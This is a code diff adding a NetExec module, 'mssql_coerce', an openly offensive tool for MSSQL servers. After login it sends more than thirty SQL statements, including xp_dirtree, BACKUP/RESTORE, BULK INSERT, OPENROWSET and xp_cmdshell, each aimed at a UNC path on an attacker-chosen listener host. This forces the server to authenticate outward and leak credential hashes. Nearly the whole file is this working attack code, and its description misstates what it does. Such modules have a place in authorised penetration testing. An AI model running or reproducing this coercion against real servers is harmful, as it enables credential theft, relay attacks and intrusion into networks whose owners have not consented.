|
| 1 | +import sys |
| 2 | + |
| 3 | +class NXCModule: |
| 4 | + """Execute arbitrary SQL commands on the target MSSQL server""" |
| 5 | + |
| 6 | + name = "mssql_coerce" |
| 7 | + description = "Execute arbitrary SQL commands on the target MSSQL server" |
| 8 | + supported_protocols = ["mssql"] |
| 9 | + opsec_safe = True |
| 10 | + multiple_hosts = True |
| 11 | + |
| 12 | + def __init__(self): |
| 13 | + self.mssql_conn = None |
| 14 | + self.context = None |
| 15 | + self.listener = None |
| 16 | + |
| 17 | + def options(self, context, module_options): |
| 18 | + """ |
| 19 | + LISTENER LISTENER for exploitation |
| 20 | + L Alias for LISTENER |
| 21 | + """ |
| 22 | + self.context = context |
| 23 | + self.listener = None |
| 24 | + if "LISTENER" in module_options: |
| 25 | + self.listener = module_options["LISTENER"] |
| 26 | + if "L" in module_options: |
| 27 | + self.listener = module_options["L"] |
| 28 | + |
| 29 | + def on_login(self, context, connection): |
| 30 | + if self.listener is None: |
| 31 | + context.log.error("LISTENER option is required!") |
| 32 | + sys.exit(1) |
| 33 | + self.context = context |
| 34 | + self.mssql_conn = connection.conn |
| 35 | + commands = [ |
| 36 | + f"xp_dirtree '\\\\{self.listener}\\file';", |
| 37 | + f"xp_fileexist '\\\\{self.listener}\\file';", |
| 38 | + f"BACKUP LOG [TESTING] TO DISK = '\\\\{self.listener}\\file';", |
| 39 | + f"BACKUP DATABASE [TESTING] TO DISK = '\\\\{self.listener}\\file';", |
| 40 | + f"RESTORE LOG [TESTING] FROM DISK = '\\\\{self.listener}\\file';", |
| 41 | + f"RESTORE DATABASE [TESTING] FROM DISK = '\\\\{self.listener}\\file';", |
| 42 | + f"RESTORE HEADERONLY FROM DISK = '\\\\{self.listener}\\file';", |
| 43 | + f"RESTORE FILELISTONLY FROM DISK = '\\\\{self.listener}\\file';", |
| 44 | + f"RESTORE LABELONLY FROM DISK = '\\\\{self.listener}\\file';", |
| 45 | + f"RESTORE REWINDONLY FROM DISK = '\\\\{self.listener}\\file';", |
| 46 | + f"RESTORE VERIFYONLY FROM DISK = '\\\\{self.listener}\\file';", |
| 47 | + f"DBCC checkprimaryfile ('\\\\{self.listener}\\file');", |
| 48 | + f"CREATE ASSEMBLY HelloWorld FROM '\\\\{self.listener}\\file' WITH PERMISSION_SET = SAFE; GO ", |
| 49 | + f"sp_addextendedproc 'xp_hello','\\\\{self.listener}\\file';", |
| 50 | + f"CREATE CERTIFICATE testing123 FROM EXECUTABLE FILE = '\\\\{self.listener}\\file'; GO ", |
| 51 | + f"BACKUP CERTIFICATE test01 TO FILE = '\\\\{self.listener}\\file' WITH PRIVATE KEY (decryption by password = 'superpassword', FILE = '\\\\{self.listener}\\file', encryption by password = 'superpassword'); GO ", |
| 52 | + f"BACKUP MASTER KEY TO FILE = '\\\\{self.listener}\\file' ENCRYPTION BY PASSWORD = 'password'; GO ", |
| 53 | + f"BACKUP SERVICE MASTER KEY TO FILE = '\\\\{self.listener}\\file' ENCRYPTION BY PASSWORD = 'password'; GO ", |
| 54 | + f"RESTORE MASTER KEY FROM FILE = '\\\\{self.listener}\\file' DECRYPTION BY PASSWORD = 'password' ENCRYPTION BY PASSWORD = 'password'; GO ", |
| 55 | + f"RESTORE SERVICE MASTER KEY FROM FILE = '\\\\{self.listener}\\file' DECRYPTION BY PASSWORD = 'password'; GO ", |
| 56 | + f"CREATE TABLE #TEXTFILE (column1 NVARCHAR(100)); BULK INSERT #TEXTFILE FROM '\\\\{self.listener}\\file'; DROP TABLE #TEXTFILE;", |
| 57 | + f"CREATE TABLE #TEXTFILE (column1 NVARCHAR(100)); BULK INSERT #TEXTFILE FROM '\\\\{self.listener}\\file' WITH (FORMATFILE = '\\testing21\file'); DROP TABLE #TEXTFILE;", |
| 58 | + f"SELECT * FROM sys.fn_xe_file_target_read_file ('\\\\{self.listener}\\file','\\\\{self.listener}\\file',null,null); GO ", |
| 59 | + f"SELECT * FROM sys.fn_get_audit_file ('\\\\{self.listener}\\file','\\\\{self.listener}\\file',default,default); GO ", |
| 60 | + f"SELECT * INTO temp_trc FROM fn_trace_gettable('\\\\{self.listener}\\file.trc', default);", |
| 61 | + f"SELECT * FROM fn_trace_gettable('\\\\{self.listener}\\file.trc', default);", |
| 62 | + f"CREATE SERVER AUDIT TESTING TO FILE ( FILEPATH = '\\\\{self.listener}\\file'); GO ", |
| 63 | + f"sp_configure 'EKM provider enabled',1; RECONFIGURE; GO; CREATE CRYPTOGRAPHIC PROVIDER SecurityProvider FROM FILE = '\\\\{self.listener}\\file'; GO ", |
| 64 | + f"CREATE EXTERNAL FILE FORMAT myfileformat WITH (FORMATFILE = '\\\\{self.listener}\\file'); GO ", |
| 65 | + f"xp_subdirs '\\\\{self.listener}\\file';", |
| 66 | + f"xp_cmdshell 'dir \\\\{self.listener}\\file';", |
| 67 | + f"SELECT * FROM fn_dump_dblog(NULL,NULL,'DISK',1,'\\\\{self.listener}\\fakefile.bak',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL);", |
| 68 | + f"SELECT * FROM OPENDATASOURCE('Microsoft.Jet.OLEDB.4.0','Data Source=\\\\{self.listener}\\file\\test.xls;Extended Properties=EXCEL 5.0')...[Sheet1$];", |
| 69 | + f"SELECT * FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0','Excel 8.0;HDR=YES;Database=\\\\{self.listener}\\file\\test.xls','select * from [ProductList$]');", |
| 70 | + f"SELECT * FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0','Excel 12.0 Xml;HDR=YES;Database=\\\\{self.listener}\\file\\test.xlsx','SELECT * FROM [ProductList$]');", |
| 71 | + f"SELECT * FROM sys.dm_os_file_exists('\\\\{self.listener}\\file\\test.xlsx');", |
| 72 | + ] |
| 73 | + for command in commands: |
| 74 | + try: |
| 75 | + result = self.mssql_conn.sql_query(command) |
| 76 | + self.context.log.debug(f"Executing command: {command}, Command result: {result}") |
| 77 | + except Exception as e: |
| 78 | + self.context.log.error(f"Failed to execute command: {command}, Error: {e}") |
| 79 | + self.context.log.display("Commands executed successfully, check the listener for results") |
0 commit comments